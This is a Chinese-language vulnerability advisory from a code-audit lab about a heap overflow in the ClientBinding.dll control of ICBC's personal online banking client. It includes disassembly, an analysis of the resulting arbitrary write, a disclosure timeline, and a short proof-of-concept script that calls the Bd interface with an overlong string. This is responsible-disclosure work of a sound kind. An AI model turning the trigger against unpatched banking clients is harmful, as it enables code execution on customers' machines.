[漏洞编号]

CAL_20100623-1

[影响版本]

ClientBinding.dll 1.0.0.2或以前

[公告]

翰海源代码审计实验室在工行个人网银里发现一个高威胁的安全漏洞,可导致攻击者执行任意代码,并将此漏洞上报给工行珠海开发中心。7月底工行个人网 银已修复该漏洞并发布了新的个人网银版本,考虑到工行网银的使用度和客户1DAY的修复时间,我们现在再发布公告,望没有安装新版本工行网银的用户及时安 装新版本工行网银以避免威胁

[漏洞细节]

该漏洞存是在于ClientBinding.dll的一个缓冲区溢出,ClientBinding存在一个BD接口和Ckbd接口,第一个参数代表一个路径,和http://www.icbc.com.cn/一起拼接成一个路径,但是系统对这个路径只固定分配了0×400大小的堆内存

10010035 6800040000       push    0×400

1001003a e801470000       call    ClientBinding!Gcrv+0×99c0 (10014740)

1001003f 83c404           add     esp,0×4

10010042 8bf0             mov     esi,eax

但是在拷贝数据的时候,是根据参数1的真实长度来拷贝的,而并没有检测是否大于0X400,因此直接导致了一个堆溢出

10001543 76f7             jbe     ClientBinding+0×153c (1000153c)

10001545 8bce             mov     ecx,esi

10001547 2bc6             sub     eax,esi

10001549 8da42400000000   lea     esp,[esp]

10001550 8a1401           mov     dl,[ecx+eax]            ds:0023:014d63d3=6b

10001553 8811             mov     [ecx],dl

10001555 41               inc     ecx

10001556 83ef01           sub     edi,0×1

10001559 75f5             jnz     ClientBinding+0×1550 (10001550)

之后,在WINDOWS XP的系统上,会直接在HEAPFREE里对一个覆盖的指针地址进行写入,由于该地址来源于攻击者覆盖的地址,攻击者可以任意构造地址写入。

7c9308ee 8908             mov     [eax],ecx

7c9308f0 895004           mov     [eax+0x4],edx

7c9308f3 8902             mov     [edx],eax         ds:0023:75747372=????????

7c9308f5 894104           mov     [ecx+0x4],eax

7c9308f8 56               push    esi

7c9308f9 8b75c8           mov     esi,[ebp-0x38]

继续执行,则向一个攻击者可控的地址写入当前内容地址,由于是攻击者可控的地址,该漏洞是一个非常容易利用的漏洞

[验证POC]

Str=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789vabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrAAAstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789″;
obj.Bd(Str, 0)

[老版本验证下载地址]

http://www.vdisk.cn/down/index/4800758A1266

该版本用于验证此安全漏洞

[工行新版本个人网银下载地址]

http://www.icbc.com.cn/icbc/html/download/dkq/icbc_netbank_client_controls.exe

[感谢]

感谢工行对漏洞报告的重视和及时修复

[时间线]

6月23号:翰海源发现该高威漏洞

6月30号:翰海源向珠海工行开发中心报告该漏洞

7月23号:工行网银发布新的网银修复该漏洞

8月21号: 翰海源公告

About Code Audit Labs:

=====================

Code Audit Labs是南京翰海源信息技术有限公司的代码审计部门,公司是由国际资深安全研究人员在中国南京创办一家提供专业的安全测试产品/服务/咨询培训 的安全公司.旨在为各家软硬件生产厂商,行业用户提供专业的高覆盖可度量的安全测试,帮助他们改进自身产品和系统的安全.
我们希望为信息产业在开发过程之中就打造起信息安全的基石,提供安全质量,并凭借着为企业带来的价值而成为国际最专业的安全测试产品和服务的提供商.
公司网站 http://www.VulnHunt.com